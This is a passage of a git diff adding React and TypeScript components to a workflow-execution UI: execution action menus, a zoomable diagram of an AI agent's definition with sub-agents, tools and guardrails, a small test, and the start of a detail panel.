colors.successTag }, +} as const; + +export const truncatePayload = (payload: object) => { + const jsonString = JSON.stringify(payload); + if (jsonString.length <= 100) { + return jsonString; + } + return jsonString.substring(0, 97) + "..."; +}; diff --git a/ui-next/src/pages/execution/ActionModule.jsx b/ui-next/src/pages/execution/ActionModule.jsx new file mode 100644 index 0000000..28de14e --- /dev/null +++ b/ui-next/src/pages/execution/ActionModule.jsx @@ -0,0 +1,254 @@ +import { isFailedTask } from "utils"; +import { DropdownButton } from "components"; + +import { + ArrowCounterClockwise as ReplayIcon, + ArrowUUpLeft as RestartIcon, + Asterisk as RestartLatestIcon, + Pause as PauseIcon, + Play as ResumeIcon, + Stop as StopIcon, + ArrowSquareOut as RerunIcon, +} from "@phosphor-icons/react"; + +const style = { + menuIcon: { + marginRight: "10px", + }, +}; + +export default function ActionModule({ + execution, + onRestartExecutionWithLatestDefinitions, + onRestartExecutionWithCurrentDefinitions, + onRetryExecutionFromFailed, + onResumeExecution, + onTerminateExecution, + onPauseExecution, + onRetryResumeSubworkflow, + rerunExecutionWithLatestDefinitions, + createSheduleWithLatestDefinitions, +}) { + const { workflowDefinition } = execution; + + const { restartable } = workflowDefinition; // MOVE this cond + const rerunWorkflowOption = { + label: ( + <> + + Re-run workflow + + ), + handler: rerunExecutionWithLatestDefinitions, + }; + const createScheduleOption = { + label: ( + <> + + Create Schedule + + ), + handler: createSheduleWithLatestDefinitions, + }; + + // TODO build the options if no options grayout button + if (execution.status === "COMPLETED") { + const options = []; + if (restartable) { + options.push({ + label: ( + <> + + Restart with current definitions + + ), + handler: onRestartExecutionWithCurrentDefinitions, + }); + + options.push({ + label: ( + <> + + Restart with latest definitions + + ), + handler: onRestartExecutionWithLatestDefinitions, + }); + } + + options.push(rerunWorkflowOption); + options.push(createScheduleOption); + + return ( + + Actions + + ); + } else if (execution.status === "RUNNING") { + return ( + + + Terminate + + ), + handler: onTerminateExecution, + }, + { + label: ( + <> + + Pause + + ), + handler: onPauseExecution, + }, + rerunWorkflowOption, + ]} + > + Actions + + ); + } else if (execution.status === "PAUSED") { + return ( + + + Terminate + + ), + handler: onTerminateExecution, + }, + { + label: ( + <> + + Resume + + ), + handler: onResumeExecution, + }, + rerunWorkflowOption, + ]} + > + Actions + + ); + } else { + // FAILED, TIMED_OUT, TERMINATED + const options = []; + + if (["FAILED", "TIMED_OUT"].includes(execution.status)) { + options.push({ + label: ( + <> + + Terminate + + ), + handler: onTerminateExecution, + }); + } + + if (restartable) { + options.push({ + label: ( + <> + + Restart with current definitions + + ), + handler: onRestartExecutionWithCurrentDefinitions, + }); + + options.push({ + label: ( + <> + + Restart with latest definitions + + ), + handler: onRestartExecutionWithLatestDefinitions, + }); + } + + if ( + execution?.tasks?.some( + (task) => !task.retried && isFailedTask(task.status), + ) + ) { + options.push({ + label: ( + <> + + Retry - from failed task + + ), + handler: onRetryExecutionFromFailed, + }); + } + + options.push(rerunWorkflowOption); + + if ( + (execution.status === "FAILED" || execution.status === "TIMED_OUT") && + execution.tasks.find( + (task) => + task.workflowTask.type === "SUB_WORKFLOW" && + isFailedTask(task.status), + ) + ) { + options.push({ + label: ( + <> + + Retry - resume subworkflow + + ), + handler: onRetryResumeSubworkflow, + }); + } + + return ( + + Actions + + ); + } +} diff --git a/ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.test.tsx b/ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.test.tsx new file mode 100644 index 0000000..9d30c66 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.test.tsx @@ -0,0 +1,17 @@ +import { render, screen } from "@testing-library/react"; +import { AgentDefinitionView } from "./AgentDefinitionView"; +import { WorkflowExecution } from "types/Execution"; + +describe("AgentDefinitionView", () => { + it("shows a fallback message when the workflow definition has no agentDef metadata", () => { + const execution = { + workflowDefinition: { metadata: {} }, + } as unknown as WorkflowExecution; + + render(); + + expect( + screen.getByText("No agent definition found in workflow metadata"), + ).toBeInTheDocument(); + }); +}); diff --git a/ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.tsx b/ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.tsx new file mode 100644 index 0000000..db4e548 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.tsx @@ -0,0 +1,993 @@ +/** + * AgentDefinitionView — reaflow block diagram of an agent's definition. + * + * Layout: + * - Root agent node at top (name, model, strategy, maxTurns) + * - Sub-agents fan out in parallel from root (each as individual node) + * - Tools/guardrails also branch from root + * + * Architecture mirrors AgentExecutionDiagram (viewport → transform → Canvas). + */ +import { useRef, useCallback, useMemo, useState } from "react"; +import { Box, Typography } from "@mui/material"; +import { useDrag, usePinch, useWheel } from "@use-gesture/react"; +import { ZoomControlsButton } from "components/ZoomControlsButton"; +import HomeIcon from "components/features/flow/components/graphs/PanAndZoomWrapper/icons/Home"; +import MinusIcon from "components/features/flow/components/graphs/PanAndZoomWrapper/icons/Minus"; +import PlusIcon from "components/features/flow/components/graphs/PanAndZoomWrapper/icons/Plus"; +import FitToFrame from "shared/icons/FitToFrame"; +import { colors } from "theme/tokens/variables"; +import { + Canvas, + CanvasPosition, + Edge, + Node, + NodeData, + EdgeData, +} from "reaflow"; +import { getModelIconPath } from "./agentExecutionUtils"; +import { WorkflowExecution } from "types/Execution"; +import "components/features/flow/ReaflowOverrides.scss"; + +// ─── Constants ──────────────────────────────────────────────────────────────── +const W = 264; +const H = 90; // slightly taller to fit strategy row +const H_GATE = 80; // gate/decision nodes +const MIN_ZOOM = 0.1, + MAX_ZOOM = 2.5; +const MAX_INDIVIDUAL = 8; // show individual nodes up to this count, group beyond + +// ─── Strategy colours ───────────────────────────────────────────────────────── +const STRATEGY_STYLE: Record = { + random: { bg: "#fef3c7", color: "#92400e" }, + handoff: { bg: "#ede9fe", color: "#6d28d9" }, + sequential: { bg: "#e0f2fe", color: "#075985" }, + parallel: { bg: "#dcfce7", color: "#15803d" }, + router: { bg: "#f3f4f6", color: "#374151" }, + single: { bg: "#f3f4f6", color: "#374151" }, +}; +function strategyStyle(s?: string) { + return ( + STRATEGY_STYLE[s?.toLowerCase() ?? ""] ?? { + bg: "#f3f4f6", + color: "#374151", + } + ); +} + +// ─── Types ──────────────────────────────────────────────────────────────────── +interface DefNodeData { + kind: "agent" | "subagent" | "tool" | "guardrail" | "group" | "gate"; + label: string; + sublabel?: string; // model or instructions snippet + badge: string; // type label: AGENT / TOOL / GUARDRAIL / HTTP / MCP / RAG / AGENTS / TOOLS + badgeColor: string; + badgeBg: string; + borderColor: string; + modelName?: string; + strategy?: string; // routing strategy (raw lowercase) + maxTurns?: number; + subAgentCount?: number; // number of nested sub-agents this agent orchestrates + count?: number; // for group nodes + items?: string[]; + // Gate-specific + gateType?: string; // e.g. "text_contains" + gateText?: string; // the condition value +} + +// ─── Helpers ────────────────────────────────────────────────────────────────── +function getItemName(t: unknown, fallback = "[item]"): string { + if (typeof t === "string") return t; + if (t && typeof t === "object") { + const o = t as Record; + const n = o.name ?? o._worker_ref ?? (o.function as any)?.name; + if (typeof n === "string" && n) return n; + } + return fallback; +} + +function getItemDescription(t: unknown): string | undefined { + if (!t || typeof t !== "object") return undefined; + const o = t as Record; + const d = o.description ?? (o.function as any)?.description; + if (typeof d === "string" && d) return d; + return undefined; +} + +function toolCat( + t: Record, +): "agent" | "tool" | "guardrail" | "http" | "mcp" | "rag" { + const tt = (t.toolType as string | undefined)?.toLowerCase() ?? ""; + if (tt === "agent_tool" || tt === "agent") return "agent"; + if (tt === "guardrail") return "guardrail"; + if (tt === "http") return "http"; + if (tt === "mcp") return "mcp"; + if (tt === "rag") return "rag"; + return "tool"; +} + +// ─── Gate (decision / conditional) card ────────────────────────────────────── +function GateNodeCard({ + data, + width, + height, +}: { + data: DefNodeData; + width: number; + height: number; +}) { + const typeLabel = (() => { + switch (data.gateType) { + case "text_contains": + return "contains"; + case "text_not_contains": + return "not contains"; + case "equals": + return "equals"; + case "not_equals": + return "≠"; + case "regex": + return "regex"; + default: + return data.gateType ?? "condition"; + } + })(); + + // Diamond: rotated inner square, text sits on top unrotated + const d = Math.min(width, height) * 0.88; + + return ( +
      + {/* Rotated square → diamond shape */} +
      + {/* Label (unrotated, centered) */} +
      +
      + gate +
      +
      + {typeLabel} +
      + {data.gateText && ( +
      + "{data.gateText}" +
      + )} +
      +
      + ); +} + +// ─── Node card ──────────────────────────────────────────────────────────────── +function NodeCard({ + data, + width, + height, +}: { + data: DefNodeData; + width: number; + height: number; +}) { + if (data.kind === "gate") + return ; + const isRoot = data.kind === "agent"; + const isGroup = data.kind === "group"; + const ss = strategyStyle(data.strategy); + + const cardContent = ( +
      + {/* ── Top row: icon + label + type badge ── */} +
      + {/* Model icon */} + {data.modelName && + (() => { + const icon = getModelIconPath(data.modelName); + return icon ? ( + + ) : null; + })()} + +
      + {/* Label */} +
      + {data.label} +
      + {/* Sub-label: model name or instruction snippet */} + {data.sublabel && ( +
      + {data.sublabel} +
      + )} + {/* Group item count */} + {isGroup && data.count !== undefined && ( +
      + {data.count}{" "} + {data.badge.toLowerCase() === "agents" ? "agents" : "items"} +
      + )} +
      + + {/* Type badge */} +
      + {data.badge} +
      +
      + + {/* ── Bottom row: strategy pill + maxTurns + sub-agent count ── */} + {(data.strategy || + data.maxTurns || + (data.subAgentCount && data.subAgentCount > 0)) && ( +
      + {data.strategy && ( + + {data.strategy} + + )} + {data.maxTurns !== undefined && ( + + {data.maxTurns} turns + + )} + {data.subAgentCount != null && data.subAgentCount > 0 && ( + + {data.subAgentCount} sub-agent + {data.subAgentCount !== 1 ? "s" : ""} + + )} +
      + )} +
      + ); + + // Group: stacked card effect + if (isGroup) { + return ( +
      +
      +
      +
      + {cardContent} +
      +
      + ); + } + + return ( +
      + {cardContent} +
      + ); +} + +// ─── Reaflow node wrapper ───────────────────────────────────────────────────── +const DiagramNode = (nodeProps: any) => { + const { properties } = nodeProps; + const data: DefNodeData = properties?.data; + return ( + null} + label={<>} + style={{ stroke: "none", fill: "none" }} + > + {(ev: any) => ( + + + + + + )} + + ); +}; + +// ─── Build diagram from agentDef ───────────────────────────────────────────── +function buildDefDiagram(agentDef: Record) { + const nodes: NodeData[] = []; + const edges: EdgeData[] = []; + + const defModel = agentDef.model as string | undefined; + const agentName = (agentDef.name as string | undefined) ?? "Agent"; + const strategy = agentDef.strategy as string | undefined; + const maxTurns = agentDef.maxTurns as number | undefined; + const instructions = (agentDef.instructions ?? agentDef.description) as + | string + | undefined; + + // Sub-agents from the agents[] field (orchestrator pattern) + const agentsList = + (agentDef.agents as Array> | undefined) ?? []; + + // Tools/guardrails from the tools[] field + const allTools = + (agentDef.tools as Array> | undefined) ?? []; + const agentToolList = allTools.filter((t) => toolCat(t) === "agent"); + const regularTools = allTools.filter((t) => toolCat(t) === "tool"); + const httpTools = allTools.filter((t) => toolCat(t) === "http"); + const mcpTools = allTools.filter((t) => toolCat(t) === "mcp"); + const ragTools = allTools.filter((t) => toolCat(t) === "rag"); + const guardrailTools = allTools.filter((t) => toolCat(t) === "guardrail"); + const guardrailsDef = + (agentDef.guardrails as Array | undefined) ?? []; + const allGuardrails = [ + ...guardrailTools.map((g) => getItemName(g)), + ...(guardrailsDef as unknown[]).map((g) => getItemName(g)), + ]; + + // Merge all sub-agents into a unified list + const allSubAgents = [ + ...agentsList.map((a) => ({ + name: getItemName(a), + model: a.model as string | undefined, + instructions: a.instructions as string | undefined, + strategy: a.strategy as string | undefined, + maxTurns: a.maxTurns as number | undefined, + subAgentCount: ((a.agents as unknown[]) ?? []).length, + gate: a.gate as Record | undefined, + })), + ...agentToolList.map((t) => ({ + name: getItemName(t), + model: ((t.config as any)?.agentConfig?.model ?? t.model) as + | string + | undefined, + instructions: (t.config as any)?.agentConfig?.instructions as + | string + | undefined, + strategy: t.strategy as string | undefined, + maxTurns: undefined as number | undefined, + subAgentCount: 0, + gate: undefined as Record | undefined, + })), + ]; + + const instSnippet = instructions + ? instructions.slice(0, 55) + (instructions.length > 55 ? "…" : "") + : undefined; + + // ── Root agent node ────────────────────────────────────────────────────────── + nodes.push({ + id: "agent", + width: W, + height: H, + data: { + kind: "agent", + label: agentName, + sublabel: defModel ?? instSnippet, + badge: "AGENT", + badgeColor: "#3d5fc0", + badgeBg: "#e8eeff", + borderColor: "#93c5fd", + modelName: defModel, + strategy, + maxTurns, + }, + }); + + // Helper: add a node branching directly from root + const addFromRoot = (id: string, data: DefNodeData) => { + nodes.push({ id, width: W, height: H, data }); + edges.push({ id: `agent→${id}`, from: "agent", to: id }); + }; + + const isSequential = strategy?.toLowerCase() === "sequential"; + + // ── Sub-agents: chain for sequential, fan-out otherwise ────────────────── + if (allSubAgents.length > 0 && allSubAgents.length <= MAX_INDIVIDUAL) { + let prevId = "agent"; + for (let i = 0; i < allSubAgents.length; i++) { + const sa = allSubAgents[i]; + const id = `subagent-${i}`; + const instSub = sa.instructions + ? sa.instructions.slice(0, 55) + + (sa.instructions.length > 55 ? "…" : "") + : undefined; + nodes.push({ + id, + width: W, + height: H, + data: { + kind: "subagent", + label: sa.name, + sublabel: instSub ?? sa.model, + badge: "AGENT", + badgeColor: "#3d5fc0", + badgeBg: "#e8eeff", + borderColor: "#93c5fd", + modelName: sa.model, + strategy: sa.strategy, + maxTurns: sa.maxTurns, + subAgentCount: sa.subAgentCount || undefined, + }, + }); + if (isSequential) { + edges.push({ id: `${prevId}→${id}`, from: prevId, to: id }); + prevId = id; + + // If this sub-agent has a gate, insert a gate/decision node after it + if (sa.gate) { + const gateId = `gate-${i}`; + nodes.push({ + id: gateId, + width: W, + height: H_GATE, + data: { + kind: "gate", + label: "Gate", + badge: "GATE", + badgeColor: "#b45309", + badgeBg: "#fef3c7", + borderColor: "#f59e0b", + gateType: sa.gate.type as string | undefined, + gateText: sa.gate.text as string | undefined, + }, + }); + edges.push({ id: `${id}→${gateId}`, from: id, to: gateId }); + prevId = gateId; + } + } else { + // Fan-out: all connect directly from root + edges.push({ id: `agent→${id}`, from: "agent", to: id }); + } + } + } else if (allSubAgents.length > MAX_INDIVIDUAL) { + addFromRoot("subagents", { + kind: "group", + label: + allSubAgents + .slice(0, 2) + .map((a) => a.name) + .join(", ") + ", …", + count: allSubAgents.length, + badge: "AGENTS", + badgeColor: "#3d5fc0", + badgeBg: "#e8eeff", + borderColor: "#93c5fd", + items: allSubAgents.map((a) => a.name), + }); + } + + // Helper: add tool nodes from root, passing descriptions when available + const addToolCategory = ( + tools: Array | string>, + id: string, + badge: string, + badgeColor: string, + badgeBg: string, + borderColor: string, + ) => { + if (tools.length === 0) return; + if (tools.length <= MAX_INDIVIDUAL) { + tools.forEach((t, i) => { + const desc = getItemDescription(t); + const descSnippet = desc + ? desc.slice(0, 60) + (desc.length > 60 ? "…" : "") + : undefined; + addFromRoot(`${id}-${i}`, { + kind: "tool", + label: getItemName(t), + sublabel: descSnippet, + badge, + badgeColor, + badgeBg, + borderColor, + }); + }); + } else { + const names = tools.map((t) => getItemName(t)); + addFromRoot(id, { + kind: "group", + label: names.slice(0, 2).join(", ") + (names.length > 2 ? ", …" : ""), + count: tools.length, + badge, + badgeColor, + badgeBg, + borderColor, + items: names, + }); + } + }; + + // ── Tools / HTTP / MCP / RAG ───────────────────────────────────────────── + addToolCategory( + regularTools, + "tools", + "@TOOL", + "#0369a1", + "#e0f2fe", + "#7dd3fc", + ); + addToolCategory(httpTools, "http", "HTTP", "#6b7280", "#f3f4f6", "#d1d5db"); + addToolCategory(mcpTools, "mcp", "MCP", "#7c3aed", "#ede9fe", "#c4b5fd"); + addToolCategory(ragTools, "rag", "RAG", "#0f766e", "#ccfbf1", "#99f6e4"); + addToolCategory( + allGuardrails, + "guardrails", + "GUARDRAILS", + "#b45309", + "#fef3c7", + "#fde68a", + ); + + return { nodes, edges }; +} + +// ─── Zoom controls (mirrors AgentExecutionDiagram's DiagramControls) ────────── +function ZoomControls({ + zoom, + onReset, + onZoomIn, + onZoomOut, + onFit, +}: { + zoom: number; + onReset: () => void; + onZoomIn: () => void; + onZoomOut: () => void; + onFit: () => void; +}) { + const border = `1px solid ${colors.lightGrey}`; + const col = colors.greyText; + return ( + + + + + + {Math.round(zoom * 100)}% + + + + + = MAX_ZOOM} + tooltip="Zoom in" + style={{ borderLeft: border }} + > + + + + + + + ); +} + +// ─── Main diagram canvas ────────────────────────────────────────────────────── +export function AgentDefinitionDiagram({ + agentDef, +}: { + agentDef: Record; +}) { + const { nodes, edges } = useMemo(() => buildDefDiagram(agentDef), [agentDef]); + + const viewportRef = useRef(null); + const [panZoom, setPanZoom] = useState({ x: 40, y: 40, zoom: 1 }); + const [layoutSize, setLayoutSize] = useState({ width: 0, height: 0 }); + const panZoomRef = useRef(panZoom); + panZoomRef.current = panZoom; + + const handleLayoutChange = useCallback((result: any) => { + if (result?.width > 0 && result?.height > 0) { + setLayoutSize({ width: result.width, height: result.height }); + } + }, []); + + const handleReset = useCallback( + () => setPanZoom({ x: 40, y: 40, zoom: 1 }), + [], + ); + const handleZoomIn = useCallback( + () => setPanZoom((p) => ({ ...p, zoom: Math.min(MAX_ZOOM, p.zoom * 1.2) })), + [], + ); + const handleZoomOut = useCallback( + () => setPanZoom((p) => ({ ...p, zoom: Math.max(MIN_ZOOM, p.zoom / 1.2) })), + [], + ); + const handleFit = useCallback(() => { + if (!viewportRef.current || !layoutSize.width) return; + const { offsetWidth: vw, offsetHeight: vh } = viewportRef.current; + const nz = Math.max( + MIN_ZOOM, + Math.min( + MAX_ZOOM, + Math.min((vw - 80) / layoutSize.width, (vh - 80) / layoutSize.height), + ), + ); + setPanZoom({ + x: (vw - layoutSize.width * nz) / 2, + y: (vh - layoutSize.height * nz) / 2, + zoom: nz, + }); + }, [layoutSize]); + + useDrag( + ({ delta, tap }) => { + if (tap) return; + setPanZoom((p) => ({ ...p, x: p.x + delta[0], y: p.y + delta[1] })); + }, + { target: viewportRef, filterTaps: true, eventOptions: { passive: false } }, + ); + useWheel( + ({ delta, event, metaKey, ctrlKey }) => { + event.preventDefault(); + if (metaKey || ctrlKey) { + const rect = viewportRef.current?.getBoundingClientRect(); + const cx = (event as WheelEvent).clientX - (rect?.left ?? 0); + const cy = (event as WheelEvent).clientY - (rect?.top ?? 0); + setPanZoom((p) => { + const nz = Math.max( + MIN_ZOOM, + Math.min( + MAX_ZOOM, + p.zoom * (1 - (event as WheelEvent).deltaY * 0.001), + ), + ); + const s = nz / p.zoom; + return { x: cx - s * (cx - p.x), y: cy - s * (cy - p.y), zoom: nz }; + }); + } else { + setPanZoom((p) => ({ ...p, x: p.x - delta[0], y: p.y - delta[1] })); + } + }, + { target: viewportRef, eventOptions: { passive: false } }, + ); + usePinch( + ({ offset: [scale], event, origin: [ox, oy] }) => { + event.preventDefault(); + const rect = viewportRef.current?.getBoundingClientRect(); + const cx = ox - (rect?.left ?? 0); + const cy = oy - (rect?.top ?? 0); + const nz = Math.max(MIN_ZOOM, Math.min(MAX_ZOOM, scale)); + setPanZoom((p) => { + const f = nz / p.zoom; + return { x: cx - f * (cx - p.x), y: cy - f * (cy - p.y), zoom: nz }; + }); + }, + { + scaleBounds: { min: MIN_ZOOM, max: MAX_ZOOM }, + from: () => [panZoomRef.current.zoom, 0], + target: viewportRef, + eventOptions: { passive: false }, + }, + ); + + const hasLayout = layoutSize.width > 0; + + return ( +
      + {/* Loading skeleton */} + {!hasLayout && ( + + + {[0, 1, 2].map((i) => ( + + ))} + + + )} + + {hasLayout && ( + + )} + + {/* Transform container */} +
      + } + edge={(ed: EdgeData) => ( + + )} + /> +
      +
      + ); +} + +// ─── Public wrapper ─────────────────────────────────────────────────────────── +interface AgentDefinitionViewProps { + execution: WorkflowExecution; +} + +export function AgentDefinitionView({ execution }: AgentDefinitionViewProps) { + const agentDef = execution?.workflowDefinition?.metadata?.agentDef as + | Record + | undefined; + + if (!agentDef) { + return ( + + + No agent definition found in workflow metadata + + + ); + } + + return ; +} + +export default AgentDefinitionView; diff --git a/ui-next/src/pages/execution/AgentExecution/AgentDetailPanel.tsx b/ui-next/src/pages/execution/AgentExecution/AgentDetailPanel.tsx new file mode 100644 index 0000000..421473f --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/AgentDetailPanel.tsx @@ -0,0 +1,2674 @@ +/** + * AgentDetailPanel — right-hand panel matching Conductor's task detail style. + * Tabs: Summary | Input | Output | JSON + */ +import { useState, useRef, useEffect, type ReactNode } from "react"; +import { + Box, + Paper, + Typography, + IconButton, + Select, + MenuItem, +} from "@mui/material"; +import { X as CloseIcon, ArrowRight, Scissors } from "@phosphor-icons/react"; +import { Tab, Tabs } from "components"; +import Editor from "@monaco-editor/react"; +import ReactMarkdown from "react-markdown"; +import remarkGfm from "remark-gfm"; +import { + AgentEvent, + AgentRunData, + AgentStatus, + EventType, + TaskAttempt, +} from "./types"; +import { + formatTokens, + formatDuration, + getModelIconPath, +} from "./agentExecutionUtils"; +import { toolCategoryForPanel } from "utils/agentTaskCategory"; + +// ─── Types ──────────────────────────────────────────────────────────────────── + +export interface DetailNodeData { + kind: + | "llm" + | "tool" + | "handoff" + | "subagent" + | "output" + | "error" + | "start" + | "group"; + label: string; + status: AgentStatus; + event?: AgentEvent; + subAgentRun?: AgentRunData; + /** For group kind */ + groupType?: "agents" | "tools"; + groupAgents?: AgentRunData[]; + groupEvents?: AgentEvent[]; +} + +// ─── Tab keys ──────────────────────────────────────────────────────────────── + +const SUMMARY_TAB = "summary"; +const INPUT_TAB = "input"; +const OUTPUT_TAB = "output"; +const JSON_TAB = "json"; + +// ─── JSON editor viewer (Monaco, fills available height) ───────────────────── + +function JsonView({ src }: { src: unknown }) { + const json = JSON.stringify(src, null, 2); + return ( + + ); +} + +// ─── Markdown renderer ──────────────────────────────────────────────────────── + +function looksLikeMarkdown(text: string): boolean { + return /^#{1,6}\s|\*\*[^*]+\*\*|^[-*]\s|\n#{1,6}\s|^\d+\.\s|^>\s/m.test(text); +} + +function MarkdownView({ content }: { content: string }) { + return ( + + {content} + + ); +} + +// ─── Smart content renderer (text/markdown/JSON) ────────────────────────────── + +function ContentView({ value, label }: { value: unknown; label?: string }) { + if (value == null) { + return ( + + No {label ?? "data"} + + ); + } + if (typeof value === "string") { + if (looksLikeMarkdown(value)) return ; + return ( + + {value} + + ); + } + // Object: wrap Monaco in fixed-height container (height="100%" requires flex parent, + // which only the JSON tab provides — Input/Output tabs use block layout). + return ( + + + + ); +} + +// ─── Summary key-value row (matches Conductor's KeyValueTable style) ────────── + +function SummaryRow({ label, value }: { label: string; value: ReactNode }) { + if (value == null || value === "" || value === undefined) return null; + return ( + + + {label} + + + {value} + + + ); +} + +function SummaryTable({ children }: { children: ReactNode }) { + return ( + + {children} + + ); +} + +// ─── Status pill chip (matches Conductor's status badge) ────────────────────── + +function StatusChip({ status }: { status: AgentStatus }) { + const cfg = { + [AgentStatus.COMPLETED]: { + bg: "#d4edda", + color: "#155724", + label: "COMPLETED", + }, + [AgentStatus.FAILED]: { bg: "#f8d7da", color: "#721c24", label: "FAILED" }, + [AgentStatus.RUNNING]: { + bg: "#fff3cd", + color: "#856404", + label: "RUNNING", + }, + [AgentStatus.WAITING]: { + bg: "#fff3cd", + color: "#856404", + label: "WAITING", + }, + }[status] ?? { bg: "#e9ecef", color: "#495057", label: status.toUpperCase() }; + return ( + + {cfg.label} + + ); +} + +// Keep old name as alias for backward compat within this file +const StatusBadgeInline = StatusChip; + +// ─── Model display with provider icon ───────────────────────────────────────── + +function ModelValue({ model }: { model: string }) { + const icon = getModelIconPath(model); + return ( + + {icon && ( + + )} + {model} + + ); +} + +// ─── Context condensation banner ────────────────────────────────────────────── + +function CondensationBanner({ + info, +}: { + info: NonNullable; +}) { + return ( + + + + + Context condensed before this call + + + {info.messagesBefore} → {info.messagesAfter} messages  ·  + {info.exchangesCondensed} exchange + {info.exchangesCondensed !== 1 ? "s" : ""} summarized  ·  + {info.trigger} + + + + ); +} + +// ─── Agent definition section ───────────────────────────────────────────────── + +function getItemName(t: unknown, fallback = "[item]"): string { + if (typeof t === "string") return t; + if (t && typeof t === "object") { + const o = t as Record; + const n = o.name ?? o._worker_ref ?? (o.function as any)?.name; + if (typeof n === "string" && n) return n; + } + return fallback; +} + +function TagList({ + items, + color, + bg, + border, +}: { + items: string[]; + color: string; + bg: string; + border: string; +}) { + return ( + + {items.slice(0, 12).map((name, i) => ( + + {name} + + ))} + {items.length > 12 && ( + + +{items.length - 12} more + + )} + + ); +} + +const TOOL_TYPE_BADGE: Record< + string, + { label: string; color: string; bg: string; border: string } +> = { + tool: { label: "@tool", color: "#0369a1", bg: "#e0f2fe", border: "#7dd3fc" }, + http: { label: "HTTP", color: "#6b7280", bg: "#f3f4f6", border: "#d1d5db" }, + mcp: { label: "MCP", color: "#7c3aed", bg: "#ede9fe", border: "#c4b5fd" }, + rag: { label: "RAG", color: "#0f766e", bg: "#ccfbf1", border: "#99f6e4" }, +}; + +function getToolDescription(t: Record): string | undefined { + const d = t.description ?? (t.function as any)?.description; + return typeof d === "string" && d ? d : undefined; +} + +function ToolList({ + tools, + category, +}: { + tools: Array>; + category: string; +}) { + const badge = TOOL_TYPE_BADGE[category] ?? TOOL_TYPE_BADGE.tool; + return ( + + {tools.slice(0, 20).map((t, i) => { + const name = getItemName(t); + const desc = getToolDescription(t); + return ( + + + + + {name} + + + {desc && ( + + {desc.length > 120 ? desc.slice(0, 120) + "…" : desc} + + )} + + + {badge.label} + + + ); + })} + {tools.length > 20 && ( + + +{tools.length - 20} more + + )} + + ); +} + +/** Categorise a tool entry by its toolType field — delegates to shared utility */ +const toolCategory = toolCategoryForPanel; + +/** Compact card for an agent_tool entry (shows model + nested tools + instructions). + * Expandable on click to show full instructions and all nested tools. */ +function AgentToolCard({ tool }: { tool: Record }) { + const [expanded, setExpanded] = useState(false); + const name = getItemName(tool); + const agentConfig = (tool.config as any)?.agentConfig as + | Record + | undefined; + const model = (agentConfig?.model ?? tool.model) as string | undefined; + const nestedTools = (agentConfig?.tools ?? tool.tools) as + | Array + | undefined; + const instructions = agentConfig?.instructions as string | undefined; + const iconPath = getModelIconPath(model); + + const maxInstr = expanded ? Infinity : 100; + const maxTools = expanded ? Infinity : 8; + + return ( + setExpanded((e) => !e)} + sx={{ + border: "2px solid #93c5fd", + borderRadius: 1, + backgroundColor: "#f8f9ff", + p: 1, + mb: 0.5, + cursor: "pointer", + transition: "border-color 0.15s, box-shadow 0.15s", + "&:hover": { + borderColor: "#4969e4", + boxShadow: "0 1px 4px rgba(73,105,228,0.15)", + }, + }} + > + {/* Name + model + badge */} + + {iconPath && ( + + )} + + {name} + + {model && ( + + {model} + + )} + + AGENT + + + {/* Instructions snippet */} + {instructions && ( + + {instructions.length > maxInstr + ? instructions.slice(0, maxInstr) + "…" + : instructions} + + )} + {/* Nested tools */} + {nestedTools && nestedTools.length > 0 && ( + + {nestedTools.slice(0, maxTools).map((nt, i) => ( + + {getItemName(nt)} + + ))} + {!expanded && nestedTools.length > 8 && ( + + +{nestedTools.length - 8} + + )} + + )} + {/* Expand hint */} + + {expanded ? "click to collapse" : "click to expand"} + + + ); +} + +/** Extract guardrail function name from an input/output guardrail entry */ +function guardrailFnName(g: unknown): string { + if (!g || typeof g !== "object") return getItemName(g); + const obj = g as Record; + const fn = obj.guardrail_function as Record | undefined; + if (fn) return getItemName(fn); + return (obj.name as string) ?? getItemName(g); +} + +/** Small inline pipeline chip */ +function PipelineChip({ + label, + color, + bg, + border, +}: { + label: string; + color: string; + bg: string; + border: string; +}) { + return ( + + {label} + + ); +} + +function GuardrailPipeline({ + inputGrs, + outputGrs, +}: { + inputGrs: string[]; + outputGrs: string[]; +}) { + const arrow = ( + + → + + ); + return ( + + {inputGrs.map((name, i) => ( + + + {arrow} + + ))} + + {outputGrs.map((name, i) => ( + + {arrow} + + + ))} + + ); +} + +function AgentDefSection({ agentDef }: { agentDef: Record }) { + const rawInstr = agentDef.instructions ?? agentDef.description; + const instructions = typeof rawInstr === "string" ? rawInstr : undefined; + const dynamicInstr = + rawInstr && typeof rawInstr === "object" + ? (rawInstr as Record) + : undefined; + const allTools = + (agentDef.tools as Array> | undefined) ?? []; + const defModel = agentDef.model as string | undefined; + + // Read guardrails from both old and new field names + const inputGuardrails = + (agentDef.input_guardrails as Array | undefined) ?? []; + const outputGuardrails = + (agentDef.output_guardrails as Array | undefined) ?? []; + const legacyGuardrails = + (agentDef.guardrails as Array | undefined) ?? []; + + // Split tools by category + const agentTools = allTools.filter((t) => toolCategory(t) === "agent"); + const regularTools = allTools.filter((t) => toolCategory(t) === "tool"); + const guardrailTools = allTools.filter( + (t) => toolCategory(t) === "guardrail", + ); + const httpTools = allTools.filter((t) => toolCategory(t) === "http"); + const mcpTools = allTools.filter((t) => toolCategory(t) === "mcp"); + const ragTools = allTools.filter((t) => toolCategory(t) === "rag"); + + const inputGrNames = inputGuardrails.map((g) => guardrailFnName(g)); + const outputGrNames = outputGuardrails.map((g) => guardrailFnName(g)); + const legacyGrNames = [ + ...guardrailTools.map((g) => getItemName(g)), + ...legacyGuardrails.map((g) => getItemName(g)), + ]; + const hasGuardrailPipeline = + inputGrNames.length > 0 || outputGrNames.length > 0; + + const hasContent = + instructions || + dynamicInstr || + allTools.length || + hasGuardrailPipeline || + legacyGrNames.length > 0 || + defModel; + if (!hasContent) return null; + + return ( + + + Agent Definition + + + {defModel && ( + } + /> + )} + + {/* Guardrail pipeline: |ip gr| → |LLM| → |op gr| */} + {hasGuardrailPipeline && ( + + } + /> + )} + + {/* Agent tools — each shown as a mini card */} + {agentTools.length > 0 && ( + + {agentTools.map((t, i) => ( + + ))} + + } + /> + )} + + {/* Regular tools (worker, tool, simple) */} + {regularTools.length > 0 && 